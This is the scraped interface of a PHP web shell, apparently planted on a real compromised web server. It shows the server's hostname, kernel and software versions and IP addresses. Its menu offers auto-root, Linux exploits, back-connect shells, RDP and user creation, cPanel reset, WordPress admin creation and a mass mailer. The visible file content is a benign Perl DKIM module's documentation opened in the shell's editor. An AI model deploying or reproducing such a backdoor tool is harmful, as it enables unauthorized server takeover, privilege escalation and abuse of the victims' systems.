Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
vendor_perl /
Mail /
DKIM /
[ HOME SHELL ]
Name
Size
Permission
Action
Algorithm
[ DIR ]
drwxr-xr-x
Canonicalization
[ DIR ]
drwxr-xr-x
AuthorDomainPolicy.pm
7.74
KB
-rw-r--r--
Common.pm
3.52
KB
-rw-r--r--
DNS.pm
2.69
KB
-rw-r--r--
DkPolicy.pm
6.66
KB
-rw-r--r--
DkSignature.pm
8.75
KB
-rw-r--r--
DkimPolicy.pm
7.14
KB
-rw-r--r--
Key.pm
1.64
KB
-rw-r--r--
KeyValueList.pm
4.19
KB
-rw-r--r--
MessageParser.pm
2.13
KB
-rw-r--r--
Policy.pm
5.57
KB
-rw-r--r--
PrivateKey.pm
3.82
KB
-rw-r--r--
PublicKey.pm
9.85
KB
-rw-r--r--
Signature.pm
20.51
KB
-rw-r--r--
Signer.pm
16.26
KB
-rw-r--r--
SignerPolicy.pm
2.81
KB
-rw-r--r--
TextWrap.pm
7.04
KB
-rw-r--r--
Verifier.pm
21.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SignerPolicy.pm
#!/usr/bin/perl # Copyright 2005-2006 Messiah College. All rights reserved. # This program is free software; you can redistribute it and/or # modify it under the same terms as Perl itself. # # Written by Jason Long <jlong@messiah.edu> use strict; use warnings; package Mail::DKIM::SignerPolicy; 1; __END__ =head1 NAME Mail::DKIM::SignerPolicy - determines signing parameters for a message =head1 DESCRIPTION A "signer policy" is an object, class, or function used by L<Mail::DKIM::Signer> to determine what signatures to add to the current message. To take advantage of signer policies, create your own Perl class that extends the L<Mail::DKIM::SignerPolicy> class. The only method you need to implement is the apply() method. The apply() method takes as a parameter the L<Mail::DKIM::Signer> object. Using this object, it can determine some properties of the message (e.g. what the From: address or Sender: address is). Then it sets various signer properties as desired. The apply() method should return a nonzero value if the message should be signed. If a false value is returned, then the message is "skipped" (i.e. not signed). Here is an example of a policy that always returns the same values: package MySignerPolicy; use base "Mail::DKIM::SignerPolicy"; sub apply { my $self = shift; my $signer = shift; $signer->algorithm("rsa-sha1"); $signer->method("relaxed"); $signer->domain("example.org"); $signer->selector("selector1"); $signer->key_file("private.key"); return 1; } To use this policy, simply specify the name of the class as the Policy parameter... my $dkim = Mail::DKIM::Signer->new( Policy => "MySignerPolicy", ); =head1 ADVANCED You can also have the policy actually build the signature for the Signer to use. To do this, call the signer's add_signature() method from within your apply() callback. E.g., sub apply { my $self = shift; my $signer = shift; $signer->add_signature( new Mail::DKIM::Signature( Algorithm => $signer->algorithm, Method => $signer->method, Headers => $signer->headers, Domain => $signer->domain, Selector => $signer->selector, )); return; } Again, if you do not want any signatures, return zero or undef. If you use add_signature() to create a signature, the default signature will not be created, even if you return nonzero. =head1 AUTHOR Jason Long, E<lt>jlong@messiah.eduE<gt> =head1 COPYRIGHT AND LICENSE Copyright (C) 2006-2007 by Messiah College This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself, either Perl version 5.8.6 or, at your option, any later version of Perl 5 you may have available. =cut
Close